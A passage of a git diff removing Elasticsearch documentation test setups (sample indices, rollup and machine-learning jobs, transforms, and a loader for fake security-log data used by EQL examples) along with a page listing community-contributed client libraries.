-for (int i = 0; i < 255; i++) {
-  buildRestTests.setups['iprange'] += """
-            {"index":{}}
-            {"ip": "10.0.0.$i"}"""
-}
-for (int i = 0; i < 5; i++) {
-  buildRestTests.setups['iprange'] += """
-            {"index":{}}
-            {"ip": "9.0.0.$i"}"""
-  buildRestTests.setups['iprange'] += """
-            {"index":{}}
-            {"ip": "11.0.0.$i"}"""
-  buildRestTests.setups['iprange'] += """
-            {"index":{}}
-            {"ip": "12.0.0.$i"}"""
-}
-// Used by SQL because it looks SQL-ish
-buildRestTests.setups['library'] = '''
-  - do:
-        indices.create:
-          include_type_name: true
-          index: library
-          body:
-            settings:
-              number_of_shards: 1
-              number_of_replicas: 1
-            mappings:
-              book:
-                properties:
-                  name:
-                    type: text
-                    fields:
-                      keyword:
-                        type: keyword
-                  author:
-                    type: text
-                    fields:
-                      keyword:
-                        type: keyword
-                  release_date:
-                    type: date
-                  page_count:
-                    type: short
-  - do:
-        bulk:
-          index: library
-          type: book
-          refresh: true
-          body: |
-            {"index":{"_id": "Leviathan Wakes"}}
-            {"name": "Leviathan Wakes", "author": "James S.A. Corey", "release_date": "2011-06-02", "page_count": 561}
-            {"index":{"_id": "Hyperion"}}
-            {"name": "Hyperion", "author": "Dan Simmons", "release_date": "1989-05-26", "page_count": 482}
-            {"index":{"_id": "Dune"}}
-            {"name": "Dune", "author": "Frank Herbert", "release_date": "1965-06-01", "page_count": 604}
-            {"index":{"_id": "Dune Messiah"}}
-            {"name": "Dune Messiah", "author": "Frank Herbert", "release_date": "1969-10-15", "page_count": 331}
-            {"index":{"_id": "Children of Dune"}}
-            {"name": "Children of Dune", "author": "Frank Herbert", "release_date": "1976-04-21", "page_count": 408}
-            {"index":{"_id": "God Emperor of Dune"}}
-            {"name": "God Emperor of Dune", "author": "Frank Herbert", "release_date": "1981-05-28", "page_count": 454}
-            {"index":{"_id": "Consider Phlebas"}}
-            {"name": "Consider Phlebas", "author": "Iain M. Banks", "release_date": "1987-04-23", "page_count": 471}
-            {"index":{"_id": "Pandora's Star"}}
-            {"name": "Pandora's Star", "author": "Peter F. Hamilton", "release_date": "2004-03-02", "page_count": 768}
-            {"index":{"_id": "Revelation Space"}}
-            {"name": "Revelation Space", "author": "Alastair Reynolds", "release_date": "2000-03-15", "page_count": 585}
-            {"index":{"_id": "A Fire Upon the Deep"}}
-            {"name": "A Fire Upon the Deep", "author": "Vernor Vinge", "release_date": "1992-06-01", "page_count": 613}
-            {"index":{"_id": "Ender's Game"}}
-            {"name": "Ender's Game", "author": "Orson Scott Card", "release_date": "1985-06-01", "page_count": 324}
-            {"index":{"_id": "1984"}}
-            {"name": "1984", "author": "George Orwell", "release_date": "1985-06-01", "page_count": 328}
-            {"index":{"_id": "Fahrenheit 451"}}
-            {"name": "Fahrenheit 451", "author": "Ray Bradbury", "release_date": "1953-10-15", "page_count": 227}
-            {"index":{"_id": "Brave New World"}}
-            {"name": "Brave New World", "author": "Aldous Huxley", "release_date": "1932-06-01", "page_count": 268}
-            {"index":{"_id": "Foundation"}}
-            {"name": "Foundation", "author": "Isaac Asimov", "release_date": "1951-06-01", "page_count": 224}
-            {"index":{"_id": "The Giver"}}
-            {"name": "The Giver", "author": "Lois Lowry", "release_date": "1993-04-26", "page_count": 208}
-            {"index":{"_id": "Slaughterhouse-Five"}}
-            {"name": "Slaughterhouse-Five", "author": "Kurt Vonnegut", "release_date": "1969-06-01", "page_count": 275}
-            {"index":{"_id": "The Hitchhiker's Guide to the Galaxy"}}
-            {"name": "The Hitchhiker's Guide to the Galaxy", "author": "Douglas Adams", "release_date": "1979-10-12", "page_count": 180}
-            {"index":{"_id": "Snow Crash"}}
-            {"name": "Snow Crash", "author": "Neal Stephenson", "release_date": "1992-06-01", "page_count": 470}
-            {"index":{"_id": "Neuromancer"}}
-            {"name": "Neuromancer", "author": "William Gibson", "release_date": "1984-07-01", "page_count": 271}
-            {"index":{"_id": "The Handmaid's Tale"}}
-            {"name": "The Handmaid's Tale", "author": "Margaret Atwood", "release_date": "1985-06-01", "page_count": 311}
-            {"index":{"_id": "Starship Troopers"}}
-            {"name": "Starship Troopers", "author": "Robert A. Heinlein", "release_date": "1959-12-01", "page_count": 335}
-            {"index":{"_id": "The Left Hand of Darkness"}}
-            {"name": "The Left Hand of Darkness", "author": "Ursula K. Le Guin", "release_date": "1969-06-01", "page_count": 304}
-            {"index":{"_id": "The Moon is a Harsh Mistress"}}
-            {"name": "The Moon is a Harsh Mistress", "author": "Robert A. Heinlein", "release_date": "1966-04-01", "page_count": 288}
-
-'''
-buildRestTests.setups['sensor_rollup_job'] = '''
-  - do:
-      indices.create:
-        index: sensor-1
-        body:
-          settings:
-            number_of_shards: 1
-            number_of_replicas: 0
-          mappings:
-            properties:
-              timestamp:
-                type: date
-              temperature:
-                type: long
-              voltage:
-                type: float
-              node:
-                type: keyword
-  - do:
-      raw:
-        method: PUT
-        path: _rollup/job/sensor
-        body:  >
-            {
-                "index_pattern": "sensor-*",
-                "rollup_index": "sensor_rollup",
-                "cron": "*/30 * * * * ?",
-                "page_size" :1000,
-                "groups" : {
-                  "date_histogram": {
-                    "field": "timestamp",
-                    "fixed_interval": "1h",
-                    "delay": "7d"
-                  },
-                  "terms": {
-                    "fields": ["node"]
-                  }
-                },
-                "metrics": [
-                    {
-                        "field": "temperature",
-                        "metrics": ["min", "max", "sum"]
-                    },
-                    {
-                        "field": "voltage",
-                        "metrics": ["avg"]
-                    }
-                ]
-            }
-'''
-buildRestTests.setups['sensor_started_rollup_job'] = '''
-  - do:
-      indices.create:
-        index: sensor-1
-        body:
-          settings:
-            number_of_shards: 1
-            number_of_replicas: 0
-          mappings:
-            properties:
-              timestamp:
-                type: date
-              temperature:
-                type: long
-              voltage:
-                type: float
-              node:
-                type: keyword
-
-  - do:
-      bulk:
-        index: sensor-1
-        refresh: true
-        body: |
-          {"index":{}}
-          {"timestamp": 1516729294000, "temperature": 200, "voltage": 5.2, "node": "a"}
-          {"index":{}}
-          {"timestamp": 1516642894000, "temperature": 201, "voltage": 5.8, "node": "b"}
-          {"index":{}}
-          {"timestamp": 1516556494000, "temperature": 202, "voltage": 5.1, "node": "a"}
-          {"index":{}}
-          {"timestamp": 1516470094000, "temperature": 198, "voltage": 5.6, "node": "b"}
-          {"index":{}}
-          {"timestamp": 1516383694000, "temperature": 200, "voltage": 4.2, "node": "c"}
-          {"index":{}}
-          {"timestamp": 1516297294000, "temperature": 202, "voltage": 4.0, "node": "c"}
-
-  - do:
-      raw:
-        method: PUT
-        path: _rollup/job/sensor
-        body:  >
-            {
-                "index_pattern": "sensor-*",
-                "rollup_index": "sensor_rollup",
-                "cron": "* * * * * ?",
-                "page_size" :1000,
-                "groups" : {
-                  "date_histogram": {
-                    "field": "timestamp",
-                    "fixed_interval": "1h",
-                    "delay": "7d"
-                  },
-                  "terms": {
-                    "fields": ["node"]
-                  }
-                },
-                "metrics": [
-                    {
-                        "field": "temperature",
-                        "metrics": ["min", "max", "sum"]
-                    },
-                    {
-                        "field": "voltage",
-                        "metrics": ["avg"]
-                    }
-                ]
-            }
-  - do:
-      raw:
-        method: POST
-        path: _rollup/job/sensor/_start
-'''
-
-buildRestTests.setups['sensor_index'] = '''
-  - do:
-      indices.create:
-        index: sensor-1
-        body:
-          settings:
-            number_of_shards: 1
-            number_of_replicas: 0
-          mappings:
-            properties:
-              timestamp:
-                type: date
-              temperature:
-                type: long
-              voltage:
-                type: float
-              node:
-                type: keyword
-              load:
-                type: double
-              net_in:
-                type: long
-              net_out:
-                type: long
-              hostname:
-                type: keyword
-              datacenter:
-                type: keyword
-'''
-
-buildRestTests.setups['sensor_prefab_data'] = '''
-  - do:
-      indices.create:
-        index: sensor-1
-        body:
-          settings:
-            number_of_shards: 1
-            number_of_replicas: 0
-          mappings:
-            properties:
-              timestamp:
-                type: date
-              temperature:
-                type: long
-              voltage:
-                type: float
-              node:
-                type: keyword
-  - do:
-      indices.create:
-        index: sensor_rollup
-        body:
-          settings:
-            number_of_shards: 1
-            number_of_replicas: 0
-          mappings:
-            properties:
-              node.terms.value:
-                type: keyword
-              temperature.sum.value:
-                type: double
-              temperature.max.value:
-                type: double
-              temperature.min.value:
-                type: double
-              timestamp.date_histogram.time_zone:
-                type: keyword
-              timestamp.date_histogram.interval:
-                type: keyword
-              timestamp.date_histogram.timestamp:
-                type: date
-              timestamp.date_histogram._count:
-                type: long
-              voltage.avg.value:
-                type: double
-              voltage.avg._count:
-                type: long
-              _rollup.id:
-                type: keyword
-              _rollup.version:
-                type: long
-            _meta:
-              _rollup:
-                sensor:
-                  cron: "* * * * * ?"
-                  rollup_index: "sensor_rollup"
-                  index_pattern: "sensor-*"
-                  timeout: "20s"
-                  page_size: 1000
-                  groups:
-                    date_histogram:
-                      delay: "7d"
-                      field: "timestamp"
-                      fixed_interval: "60m"
-                      time_zone: "UTC"
-                    terms:
-                      fields:
-                        - "node"
-                  id: sensor
-                  metrics:
-                    - field: "temperature"
-                      metrics:
-                        - min
-                        - max
-                        - sum
-                    - field: "voltage"
-                      metrics:
-                        - avg
-
-  - do:
-      bulk:
-        index: sensor_rollup
-        refresh: true
-        body: |
-          {"index":{}}
-          {"node.terms.value":"b","temperature.sum.value":201.0,"temperature.max.value":201.0,"timestamp.date_histogram.time_zone":"UTC","temperature.min.value":201.0,"timestamp.date_histogram._count":1,"timestamp.date_histogram.interval":"1h","_rollup.computed":["temperature.sum","temperature.min","voltage.avg","temperature.max","node.terms","timestamp.date_histogram"],"voltage.avg.value":5.800000190734863,"node.terms._count":1,"_rollup.version":1,"timestamp.date_histogram.timestamp":1516640400000,"voltage.avg._count":1.0,"_rollup.id":"sensor"}
-          {"index":{}}
-          {"node.terms.value":"c","temperature.sum.value":200.0,"temperature.max.value":200.0,"timestamp.date_histogram.time_zone":"UTC","temperature.min.value":200.0,"timestamp.date_histogram._count":1,"timestamp.date_histogram.interval":"1h","_rollup.computed":["temperature.sum","temperature.min","voltage.avg","temperature.max","node.terms","timestamp.date_histogram"],"voltage.avg.value":4.199999809265137,"node.terms._count":1,"_rollup.version":1,"timestamp.date_histogram.timestamp":1516381200000,"voltage.avg._count":1.0,"_rollup.id":"sensor"}
-          {"index":{}}
-          {"node.terms.value":"a","temperature.sum.value":202.0,"temperature.max.value":202.0,"timestamp.date_histogram.time_zone":"UTC","temperature.min.value":202.0,"timestamp.date_histogram._count":1,"timestamp.date_histogram.interval":"1h","_rollup.computed":["temperature.sum","temperature.min","voltage.avg","temperature.max","node.terms","timestamp.date_histogram"],"voltage.avg.value":5.099999904632568,"node.terms._count":1,"_rollup.version":1,"timestamp.date_histogram.timestamp":1516554000000,"voltage.avg._count":1.0,"_rollup.id":"sensor"}
-          {"index":{}}
-          {"node.terms.value":"a","temperature.sum.value":200.0,"temperature.max.value":200.0,"timestamp.date_histogram.time_zone":"UTC","temperature.min.value":200.0,"timestamp.date_histogram._count":1,"timestamp.date_histogram.interval":"1h","_rollup.computed":["temperature.sum","temperature.min","voltage.avg","temperature.max","node.terms","timestamp.date_histogram"],"voltage.avg.value":5.199999809265137,"node.terms._count":1,"_rollup.version":1,"timestamp.date_histogram.timestamp":1516726800000,"voltage.avg._count":1.0,"_rollup.id":"sensor"}
-          {"index":{}}
-          {"node.terms.value":"b","temperature.sum.value":198.0,"temperature.max.value":198.0,"timestamp.date_histogram.time_zone":"UTC","temperature.min.value":198.0,"timestamp.date_histogram._count":1,"timestamp.date_histogram.interval":"1h","_rollup.computed":["temperature.sum","temperature.min","voltage.avg","temperature.max","node.terms","timestamp.date_histogram"],"voltage.avg.value":5.599999904632568,"node.terms._count":1,"_rollup.version":1,"timestamp.date_histogram.timestamp":1516467600000,"voltage.avg._count":1.0,"_rollup.id":"sensor"}
-          {"index":{}}
-          {"node.terms.value":"c","temperature.sum.value":202.0,"temperature.max.value":202.0,"timestamp.date_histogram.time_zone":"UTC","temperature.min.value":202.0,"timestamp.date_histogram._count":1,"timestamp.date_histogram.interval":"1h","_rollup.computed":["temperature.sum","temperature.min","voltage.avg","temperature.max","node.terms","timestamp.date_histogram"],"voltage.avg.value":4.0,"node.terms._count":1,"_rollup.version":1,"timestamp.date_histogram.timestamp":1516294800000,"voltage.avg._count":1.0,"_rollup.id":"sensor"}
-
-'''
-buildRestTests.setups['sample_job'] = '''
-  - do:
-      ml.put_job:
-        job_id: "sample_job"
-        body:  >
-          {
-            "description" : "Very basic job",
-            "analysis_config" : {
-              "bucket_span":"10m",
-              "detectors" :[
-              {
-                "function": "count"
-              }
-            ]},
-            "data_description" : {
-              "time_field":"timestamp",
-              "time_format": "epoch_ms"
-            }
-          }
-'''
-buildRestTests.setups['farequote_index'] = '''
-  - do:
-        indices.create:
-          index: farequote
-          body:
-            settings:
-              number_of_shards: 1
-              number_of_replicas: 0
-            mappings:
-              metric:
-                properties:
-                  time:
-                    type: date
-                  responsetime:
-                    type: float
-                  airline:
-                     type: keyword
-                  doc_count:
-                     type: integer
-'''
-buildRestTests.setups['farequote_data'] = buildRestTests.setups['farequote_index'] + '''
-  - do:
-        bulk:
-          index: farequote
-          type: metric
-          refresh: true
-          body: |
-            {"index": {"_id":"1"}}
-            {"airline":"JZA","responsetime":990.4628,"time":"2016-02-07T00:00:00+0000", "doc_count": 5}
-            {"index": {"_id":"2"}}
-            {"airline":"JBU","responsetime":877.5927,"time":"2016-02-07T00:00:00+0000", "doc_count": 23}
-            {"index": {"_id":"3"}}
-            {"airline":"KLM","responsetime":1355.4812,"time":"2016-02-07T00:00:00+0000", "doc_count": 42}
-'''
-buildRestTests.setups['farequote_job'] = buildRestTests.setups['farequote_data'] + '''
-  - do:
-      ml.put_job:
-        job_id: "farequote"
-        body:  >
-          {
-            "analysis_config": {
-              "bucket_span": "60m",
-              "detectors": [{
-                "function": "mean",
-                "field_name": "responsetime",
-                "by_field_name": "airline"
-              }],
-            "summary_count_field_name": "doc_count"
-            },
-            "data_description": {
-              "time_field": "time"
-            }
-          }
-'''
-buildRestTests.setups['farequote_datafeed'] = buildRestTests.setups['farequote_job'] + '''
-  - do:
-      ml.put_datafeed:
-        datafeed_id: "datafeed-farequote"
-        body:  >
-          {
-          "job_id":"farequote",
-          "indexes":"farequote"
-          }
-'''
-buildRestTests.setups['server_metrics_index'] = '''
-  - do:
-        indices.create:
-          index: server-metrics
-          body:
-            settings:
-              number_of_shards: 1
-              number_of_replicas: 0
-            mappings:
-              properties:
-                timestamp:
-                  type: date
-                total:
-                  type: long
-'''
-buildRestTests.setups['server_metrics_data'] = buildRestTests.setups['server_metrics_index'] + '''
-  - do:
-        bulk:
-          index: server-metrics
-          type: metric
-          refresh: true
-          body: |
-            {"index": {"_id":"1177"}}
-            {"timestamp":"2017-03-23T13:00:00","total":40476}
-            {"index": {"_id":"1178"}}
-            {"timestamp":"2017-03-23T13:00:00","total":15287}
-            {"index": {"_id":"1179"}}
-            {"timestamp":"2017-03-23T13:00:00","total":-776}
-            {"index": {"_id":"1180"}}
-            {"timestamp":"2017-03-23T13:00:00","total":11366}
-            {"index": {"_id":"1181"}}
-            {"timestamp":"2017-03-23T13:00:00","total":3606}
-            {"index": {"_id":"1182"}}
-            {"timestamp":"2017-03-23T13:00:00","total":19006}
-            {"index": {"_id":"1183"}}
-            {"timestamp":"2017-03-23T13:00:00","total":38613}
-            {"index": {"_id":"1184"}}
-            {"timestamp":"2017-03-23T13:00:00","total":19516}
-            {"index": {"_id":"1185"}}
-            {"timestamp":"2017-03-23T13:00:00","total":-258}
-            {"index": {"_id":"1186"}}
-            {"timestamp":"2017-03-23T13:00:00","total":9551}
-            {"index": {"_id":"1187"}}
-            {"timestamp":"2017-03-23T13:00:00","total":11217}
-            {"index": {"_id":"1188"}}
-            {"timestamp":"2017-03-23T13:00:00","total":22557}
-            {"index": {"_id":"1189"}}
-            {"timestamp":"2017-03-23T13:00:00","total":40508}
-            {"index": {"_id":"1190"}}
-            {"timestamp":"2017-03-23T13:00:00","total":11887}
-            {"index": {"_id":"1191"}}
-            {"timestamp":"2017-03-23T13:00:00","total":31659}
-'''
-buildRestTests.setups['server_metrics_job'] = buildRestTests.setups['server_metrics_data'] + '''
-  - do:
-      ml.put_job:
-        job_id: "total-requests"
-        body:  >
-          {
-            "description" : "Total sum of requests",
-            "analysis_config" : {
-              "bucket_span":"10m",
-              "detectors" :[
-              {
-                "detector_description": "Sum of total",
-                "function": "sum",
-                "field_name": "total"
-              }
-            ]},
-            "data_description" : {
-              "time_field":"timestamp",
-              "time_format": "epoch_ms"
-            }
-          }
-'''
-buildRestTests.setups['server_metrics_job-raw'] = buildRestTests.setups['server_metrics_data'] + '''
-  - do:
-      raw:
-        method: PUT
-        path: _ml/anomaly_detectors/total-requests
-        body:  >
-          {
-            "description" : "Total sum of requests",
-            "analysis_config" : {
-              "bucket_span":"10m",
-              "detectors" :[
-              {
-                "detector_description": "Sum of total",
-                "function": "sum",
-                "field_name": "total"
-              }
-            ]},
-            "data_description" : {
-              "time_field":"timestamp",
-              "time_format": "epoch_ms"
-            }
-          }
-'''
-buildRestTests.setups['server_metrics_datafeed'] = buildRestTests.setups['server_metrics_job'] + '''
-  - do:
-      ml.put_datafeed:
-        datafeed_id: "datafeed-total-requests"
-        body:  >
-          {
-          "job_id":"total-requests",
-          "indexes":"server-metrics"
-          }
-'''
-buildRestTests.setups['server_metrics_datafeed-raw'] = buildRestTests.setups['server_metrics_job-raw'] + '''
-  - do:
-      raw:
-        method: PUT
-        path: _ml/datafeeds/datafeed-total-requests
-        body:  >
-          {
-          "job_id":"total-requests",
-          "indexes":"server-metrics"
-          }
-'''
-buildRestTests.setups['server_metrics_openjob'] = buildRestTests.setups['server_metrics_datafeed'] + '''
-  - do:
-      ml.open_job:
-        job_id: "total-requests"
-'''
-buildRestTests.setups['server_metrics_openjob-raw'] = buildRestTests.setups['server_metrics_datafeed-raw'] + '''
-  - do:
-      raw:
-        method: POST
-        path: _ml/anomaly_detectors/total-requests/_open
-'''
-buildRestTests.setups['server_metrics_startdf'] = buildRestTests.setups['server_metrics_openjob'] + '''
-  - do:
-      ml.start_datafeed:
-        datafeed_id: "datafeed-total-requests"
-'''
-buildRestTests.setups['calendar_outages'] = '''
-  - do:
-        ml.put_calendar:
-          calendar_id: "planned-outages"
-'''
-buildRestTests.setups['calendar_outages_addevent'] = buildRestTests.setups['calendar_outages'] + '''
-  - do:
-        ml.post_calendar_events:
-          calendar_id: "planned-outages"
-          body: >
-            { "description": "event 1", "start_time": "2017-12-01T00:00:00Z", "end_time": "2017-12-02T00:00:00Z", "calendar_id": "planned-outages" }
-
-
-'''
-buildRestTests.setups['calendar_outages_openjob'] = buildRestTests.setups['server_metrics_openjob'] + '''
-  - do:
-       ml.put_calendar:
-         calendar_id: "planned-outages"
-'''
-buildRestTests.setups['calendar_outages_addjob'] = buildRestTests.setups['server_metrics_openjob'] + '''
-  - do:
-       ml.put_calendar:
-         calendar_id: "planned-outages"
-         body:  >
-           {
-           "job_ids": ["total-requests"]
-           }
-'''
-buildRestTests.setups['calendar_outages_addevent'] = buildRestTests.setups['calendar_outages_addjob'] + '''
-  - do:
-       ml.post_calendar_events:
-         calendar_id: "planned-outages"
-         body:  >
-           { "events" : [
-           { "description": "event 1", "start_time": "1513641600000", "end_time": "1513728000000"},
-           { "description": "event 2", "start_time": "1513814400000", "end_time": "1513900800000"},
-           { "description": "event 3", "start_time": "1514160000000", "end_time": "1514246400000"}
-           ]}
-'''
-
-// used by median absolute deviation aggregation
-buildRestTests.setups['reviews'] = '''
-  - do:
-        indices.create:
-          index: reviews
-          body:
-            settings:
-              number_of_shards: 1
-              number_of_replicas: 0
-            mappings:
-              properties:
-                product:
-                  type: keyword
-                rating:
-                  type: long
-  - do:
-        bulk:
-          index: reviews
-          refresh: true
-          body: |
-            {"index": {"_id": "1"}}
-            {"product": "widget-foo", "rating": 1}
-            {"index": {"_id": "2"}}
-            {"product": "widget-foo", "rating": 5}
-'''
-buildRestTests.setups['remote_cluster'] = buildRestTests.setups['host'] + '''
-  - do:
-      cluster.put_settings:
-        body:
-          persistent:
-            cluster.remote.remote_cluster.seeds: $transport_host
-'''
-
-buildRestTests.setups['remote_cluster_and_leader_index'] = buildRestTests.setups['remote_cluster'] + '''
-  - do:
-      indices.create:
-        index: leader_index
-        body:
-          settings:
-            index.number_of_replicas: 0
-            index.number_of_shards: 1
-            index.soft_deletes.enabled: true
-'''
-
-buildRestTests.setups['seats'] = '''
-  - do:
-        indices.create:
-          index: seats
-          body:
-            settings:
-              number_of_shards: 1
-              number_of_replicas: 0
-            mappings:
-              properties:
-                theatre:
-                  type: keyword
-                cost:
-                  type: long
-                row:
-                  type: long
-                number:
-                  type: long
-                sold:
-                  type: boolean
-  - do:
-        bulk:
-          index: seats
-          refresh: true
-          body: |
-            {"index":{"_id": "1"}}
-            {"theatre": "Skyline", "cost": 37, "row": 1, "number": 7, "sold": false}
-            {"index":{"_id": "2"}}
-            {"theatre": "Graye", "cost": 30, "row": 3, "number": 5, "sold": false}
-            {"index":{"_id": "3"}}
-            {"theatre": "Graye", "cost": 33, "row": 2, "number": 6, "sold": false}
-            {"index":{"_id": "4"}}
-            {"theatre": "Skyline", "cost": 20, "row": 5, "number": 2, "sold": false}'''
-buildRestTests.setups['kibana_sample_data_ecommerce'] = '''
-  - do:
-        indices.create:
-          index: kibana_sample_data_ecommerce
-          body:
-            settings:
-              number_of_shards: 1
-              number_of_replicas: 0
-'''
-buildRestTests.setups['add_timestamp_pipeline'] = '''
-  - do:
-      ingest.put_pipeline:
-        id: "add_timestamp_pipeline"
-        body:  >
-          {
-            "processors": [
-              {
-                "set" : {
-                  "field" : "@timestamp",
-                  "value" : "{{_ingest.timestamp}}"
-                }
-              }
-            ]
-          }
-'''
-buildRestTests.setups['simple_kibana_continuous_pivot'] = buildRestTests.setups['kibana_sample_data_ecommerce'] + buildRestTests.setups['add_timestamp_pipeline']  + '''
-  - do:
-      raw:
-        method: PUT
-        path: _transform/simple-kibana-ecomm-pivot
-        body:  >
-          {
-            "source": {
-              "index": "kibana_sample_data_ecommerce",
-              "query": {
-                "term": {
-                  "geoip.continent_name": {
-                    "value": "Asia"
-                  }
-                }
-              }
-            },
-            "pivot": {
-              "group_by": {
-                "customer_id": {
-                  "terms": {
-                    "field": "customer_id"
-                  }
-                }
-              },
-              "aggregations": {
-                "max_price": {
-                  "max": {
-                    "field": "taxful_total_price"
-                  }
-                }
-              }
-            },
-            "description": "Maximum priced ecommerce data",
-            "dest": {
-              "index": "kibana_sample_data_ecommerce_transform",
-              "pipeline": "add_timestamp_pipeline"
-            },
-            "frequency": "5m",
-            "sync": {
-              "time": {
-                "field": "order_date",
-                "delay": "60s"
-              }
-            }
-          }
-'''
-buildRestTests.setups['setup_logdata'] = '''
-  - do:
-        indices.create:
-          index: logdata
-          body:
-            settings:
-              number_of_shards: 1
-              number_of_replicas: 1
-            mappings:
-              properties:
-                grade:
-                  type: byte
-  - do:
-        bulk:
-          index: logdata
-          refresh: true
-          body: |
-            {"index":{}}
-            {"grade": 100, "weight": 2}
-            {"index":{}}
-            {"grade": 50, "weight": 3}
-'''
-buildRestTests.setups['logdata_job'] = buildRestTests.setups['setup_logdata'] + '''
-  - do:
-      ml.put_data_frame_analytics:
-        id: "loganalytics"
-        body:  >
-          {
-            "source": {
-              "index": "logdata"
-              },
-            "dest": {
-              "index": "logdata_out"
-              },
-            "analysis": {
-              "outlier_detection": {}
-            }
-          }
-'''
-// Used by snapshot lifecycle management docs
-buildRestTests.setups['setup-repository'] = '''
-  - do:
-      snapshot.create_repository:
-        repository: my_repository
-        body:
-          type: fs
-          settings:
-            location: buildDir/cluster/shared/repo
-'''
-
-// Fake sec logs data used by EQL search
-buildRestTests.setups['atomic_red_regsvr32'] = '''
-  - do:
-        indices.create:
-          index: my-index-000001
-          body:
-            settings:
-              number_of_shards: 5
-              number_of_routing_shards: 5
-  - do:
-        bulk:
-          index: my-index-000001
-          refresh: true
-          body: |
-#atomic_red_data#
-'''
-/* Load the actual events only if we're going to use them. */
-File atomicRedRegsvr32File = new File("$projectDir/src/test/resources/normalized-T1117-AtomicRed-regsvr32.json")
-buildRestTests.inputs.file(atomicRedRegsvr32File)
-buildRestTests.doFirst {
-  String events = atomicRedRegsvr32File.getText('UTF-8')
-  // Indent like a yaml test needs
-  events = events.replaceAll('(?m)^', '            ')
-  buildRestTests.setups['atomic_red_regsvr32'] =
-    buildRestTests.setups['atomic_red_regsvr32'].replace('#atomic_red_data#', events)
-}
diff --git a/docs/community-clients/index.asciidoc b/docs/community-clients/index.asciidoc
deleted file mode 100644
index 1527a2760ff..00000000000
--- a/docs/community-clients/index.asciidoc
+++ /dev/null
@@ -1,223 +0,0 @@
-= Community Contributed Clients
-
-[preface]
-== Preface
-:client: https://www.elastic.co/guide/en/elasticsearch/client
-
-[NOTE]
-====
-This is a list of clients submitted by members of the Elastic community.
-Elastic does not support or endorse these clients.
-
-If you'd like to add a new client to this list, please
-https://github.com/elastic/elasticsearch/blob/master/CONTRIBUTING.md#contributing-code-and-documentation-changes[open a pull request].
-====
-
-Besides the link:/guide[officially supported Elasticsearch clients], there are
-a number of clients that have been contributed by the community for various languages:
-
-* <<b4j>>
-* <<cpp>>
-* <<clojure>>
-* <<coldfusion>>
-* <<erlang>>
-* <<go>>
-* <<haskell>>
-* <<java>>
-* <<javascript>>
-* <<kotlin>>
-* <<lua>>
-* <<dotnet>>
-* <<perl>>
-* <<php>>
-* <<python>>
-* <<r>>
-* <<ruby>>
-* <<rust>>
-* <<scala>>
-* <<smalltalk>>
-* <<vertx>>
-
-[[b4j]]
-== B4J
-* https://www.b4x.com/android/forum/threads/server-jelasticsearch-search-and-text-analytics.73335/
-  B4J client based on the official Java REST client.
-
-[[cpp]]
-== C++
-* https://github.com/seznam/elasticlient[elasticlient]: simple library for simplified work with Elasticsearch in C++
-
-[[clojure]]
-== Clojure
-
-* https://github.com/mpenet/spandex[Spandex]: 
-  Clojure client, based on the new official low level rest-client.
-
-* https://github.com/clojurewerkz/elastisch[Elastisch]:
-  Clojure client.
-
-[[coldfusion]]
-== ColdFusion (CFML)
-
-* https://www.forgebox.io/view/cbelasticsearch[cbElasticSearch]
-  Native ColdFusion (CFML) support for the ColdBox MVC Platform which provides you with a fluent search interface for Elasticsearch, in addition to a CacheBox Cache provider and a Logbox Appender for logging.
-
-[[erlang]]
-== Erlang
-
-* https://github.com/tsloughter/erlastic_search[erlastic_search]:
-  Erlang client using HTTP.
-
-* https://github.com/datahogs/tirexs[Tirexs]:
-  An https://github.com/elixir-lang/elixir[Elixir] based API/DSL, inspired by
-  https://github.com/karmi/tire[Tire]. Ready to use in pure Erlang
-  environment.
-
-* https://github.com/sashman/elasticsearch_elixir_bulk_processor[Elixir Bulk Processor]:
-  Dynamically configurable Elixir port of the [Bulk Processor](https://www.elastic.co/guide/en/elasticsearch/client/java-api/current/java-docs-bulk-processor.html). Implemented using GenStages to handle backpressure.
-
-[[go]]
-== Go
-
-Also see the {client}/go-api/current/index.html[official Elasticsearch Go client].
-
-* https://github.com/mattbaird/elastigo[elastigo]:
-  Go client.
-
-* https://github.com/olivere/elastic[elastic]:
-  Elasticsearch client for Google Go.
-  
-* https://github.com/softctrl/elk[elk]
-  Golang lib for Elasticsearch client.
-
-
-[[haskell]]
-== Haskell
-* https://github.com/bitemyapp/bloodhound[bloodhound]:
-  Haskell client and DSL.
-
-
-[[java]]
-== Java
-
-Also see the {client}/java-api/current/index.html[official Elasticsearch Java client].
-
-* https://github.com/otto-de/flummi[Flummi]:
-  Java Rest client with comprehensive query DSL API
-* https://github.com/searchbox-io/Jest[Jest]:
-  Java Rest client.
-
-[[javascript]]
-== JavaScript
-
-Also see the {client}/javascript-api/current/index.html[official Elasticsearch JavaScript client].
-
-[[kotlin]]
-== Kotlin
-
-* https://github.com/mbuhot/eskotlin[ES Kotlin]:
-  Elasticsearch Query DSL for kotlin based on the {client}/java-api/current/index.html[official Elasticsearch Java client].
-  
-* https://github.com/jillesvangurp/es-kotlin-wrapper-client[ES Kotlin Wrapper Client]: 
-  Kotlin extension functions and abstractions for the {client}/java-api/current/index.html[official Elasticsearch Highlevel Client]. Aims to reduce the amount of boilerplate needed to do searches, bulk indexing and other common things users do with the client.
-
-[[lua]]
-== Lua
-
-* https://github.com/DhavalKapil/elasticsearch-lua[elasticsearch-lua]:
-  Lua client for Elasticsearch
-
-[[dotnet]]
-== .NET
-
-Also see the {client}/net-api/current/index.html[official Elasticsearch .NET client].
-
-[[perl]]
-== Perl
-
-Also see the {client}/perl-api/current/index.html[official Elasticsearch Perl client].
-
-* https://metacpan.org/pod/Elastijk[Elastijk]: A low level minimal HTTP client.
-
-
-[[php]]
-== PHP
-
-Also see the {client}/php-api/current/index.html[official Elasticsearch PHP client].
-
-* https://github.com/ruflin/Elastica[Elastica]:
-  PHP client.
-
-* https://github.com/nervetattoo/elasticsearch[elasticsearch] PHP client.
-
-* https://github.com/madewithlove/elasticsearcher[elasticsearcher] Agnostic lightweight package on top of the Elasticsearch PHP client. Its main goal is to allow for easier structuring of queries and indices in your application.  It does not want to hide or replace functionality of the Elasticsearch PHP client.
-
-[[python]]
-== Python
-
-Also see the {client}/python-api/current/index.html[official Elasticsearch Python client].
-
-[[r]]
-== R
-
-* https://github.com/ropensci/elastic[elastic]:
-  A low-level R client for Elasticsearch.
-
-* https://github.com/ropensci/elasticdsl[elasticdsl]:
-  A high-level R DSL for Elasticsearch, wrapping the elastic R client.
-  
-* https://github.com/UptakeOpenSource/uptasticsearch[uptasticsearch]:
-  An R client tailored to data science workflows.
-
-[[ruby]]
-== Ruby
-
-Also see the {client}/ruby-api/current/index.html[official Elasticsearch Ruby client].
-
